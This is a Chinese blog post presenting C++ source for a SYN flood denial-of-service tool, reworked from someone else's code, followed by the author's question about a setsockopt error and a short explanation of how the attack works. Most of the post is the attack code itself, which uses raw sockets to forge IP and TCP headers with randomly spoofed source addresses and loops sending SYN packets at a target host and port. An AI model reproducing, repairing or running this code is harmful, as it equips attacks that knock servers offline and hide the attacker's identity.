SYN洪水C++代码

SYN洪水C++代码

源码别人的 编译的时候有很多错误,自己修正了一下,改成这样了
头文件 tsf.h
//头文件
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"WS2_32.LIB")
#include <stdio.h>
#include <stdlib.h>
//
//常量
#define F_PORT 8000
#define K_PORT 8001
#define F_IP   "127.0.0.1"
#define K_IP   "127.0.0.1"
/
//变量
int DDOS_YESNO;

//结构定义
//IP头
typedef struct tag_ip_Header//ip首部
{
unsigned char h_verlen;//4位手部长度,和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;
//TCP头
typedef struct tag_tcp_Header
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度,6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;
//伪TCP头
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr;     //源地址
unsigned long daddr;     //目的地址
char           mbz;
char           ptcl;     //协议类型
unsigned short tcpl;    //TCP长度
}PSD_HEADER;

//计算校验和的函数-checksum 。。。。。。。。别处拷贝来的代码 懒得自己想了
USHORT checksum(USHORT *buffer,int size)
{
unsigned long cksum=0;
while (size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if (size)
{
cksum+=*(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}



//初始化
unsigned long tsf()
{
SOCKET             sendSocket;
SOCKADDR_IN        Sin;   //IP信息结构
IPHEADER           ipHeader;//IP头
TCPHEADER          tcpHeader; //TCP头
PSD_HEADER         psdHeader; //伪TCP头
WSADATA            WSAData;
char               szSendBuf[1024] = "";//1024字节
if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)
{
printf("WSAStartup函数这里出错了\n");
return 0;
}

if(sendSocket=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)==INVALID_SOCKET)
{
printf("WSASocket函数这里出错了\n");
return 0;
}

BOOL flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR)      
{
printf("Setsockopt函数这里出错了\n");
return 0;
}
int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)     
{
printf("Setsockopt2函数这里出错了\n");
return 0;
}


Sin.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
Sin.sin_port=htons(F_PORT); //目标端口号(使用网络字节顺序)
Sin.sin_addr.S_un.S_addr=inet_addr(F_IP);   //目标IP地址
char         src_ip[20] = {0};
///
//攻击开始
while(!DDOS_YESNO)   
{
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化字符串 伪造IP

//填充IP头
ipHeader.h_verlen = (4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ipHeader.tos = 0;
ipHeader.total_len = htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度(字节)
ipHeader.ident = 1;   //16位标识
ipHeader.frag_and_flags = 0x40;   //3位标志位
ipHeader.ttl = 128;    //8位生存时间TTL
ipHeader.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ipHeader.checksum = 0;   //16位IP首部校验和
ipHeader.SourceIP = inet_addr(src_ip); //伪IP 伪装自己的IP
ipHeader.DestIP = Sin.sin_addr.s_addr; //目标地址
//填充TCP头
tcpHeader.th_sport = htons(K_PORT); //源端口号
tcpHeader.th_dport = htons(F_PORT); //目标端口
tcpHeader.th_seq = htonl( rand()%900000000 + 1 ); //SYN序列号
tcpHeader.th_ack = 0;   //ACK序列号置为0
tcpHeader.th_lenres = (sizeof(tcpHeader)/4<<4|0); //TCP长度和保留位
tcpHeader.th_flag = 0x02; //SYN 标志      //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG
tcpHeader.th_win = htons(512); //窗口大小
tcpHeader.th_sum = 0; //校验
tcpHeader.th_urp = 0; //紧急数据偏移量


//填充TCP伪头(用于计算校验和,并不真正发送)
psdHeader.saddr = ipHeader.SourceIP; //伪IP 伪装自己的IP
psdHeader.daddr = ipHeader.DestIP; //目标地址
psdHeader.mbz = 0;
psdHeader.ptcl = IPPROTO_TCP; //协议类型
psdHeader.tcpl = htons(sizeof(tcpHeader));   //TCP长度
/

//计算TCP校验和
//计算TCP校验和,计算校验和时需要包括TCP pseudo header
memcpy( szSendBuf, &psdHeader, sizeof(psdHeader) );
memcpy( szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader) );
tcpHeader.th_sum = checksum( (USHORT *) szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader) );

//计算IP首部检验和
memcpy( szSendBuf, &ipHeader, sizeof(ipHeader) );
memcpy( szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) );
memset( szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4 );   //内存空间初始化
ipHeader.checksum = checksum( (USHORT *) szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader) );

//用IP头和TCP头填充szSendBuf字符数组
memcpy(szSendBuf,&ipHeader,sizeof(ipHeader) ); //填充发送缓冲区
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader) ); //填充发送缓冲区
/
sendto(sendSocket, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*)&Sin, sizeof(Sin)); //发送TCP报文
Sleep(100); //暂停(毫秒)
}

return 0;
}

主函数文件.cpp       没有什么代码 直接调用编写好的头文件里的函数就可以了

#include "tsf.h"


int main(int argc, char* argv[])
{
tsf();

printf("\n");
system("pause");
return 0;
}

有一点我想不明白。。 在程序运行的时候setsockopt函数出错了。。。因为这句函数的意思我也不完全明白。只知道是设置超时时间类似的。。所以找不到出错的原因 高手指点下。。

下面我来简单的描述一下SYN洪水的原理
1创建与服务器连接的SOCKET
2构造原始数据包原是数据包的组成为 IP首部,TCP首部,据自己理解应该还可以随便加点垃圾数据加大数据包的大小把。。
3发送原始数据包。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值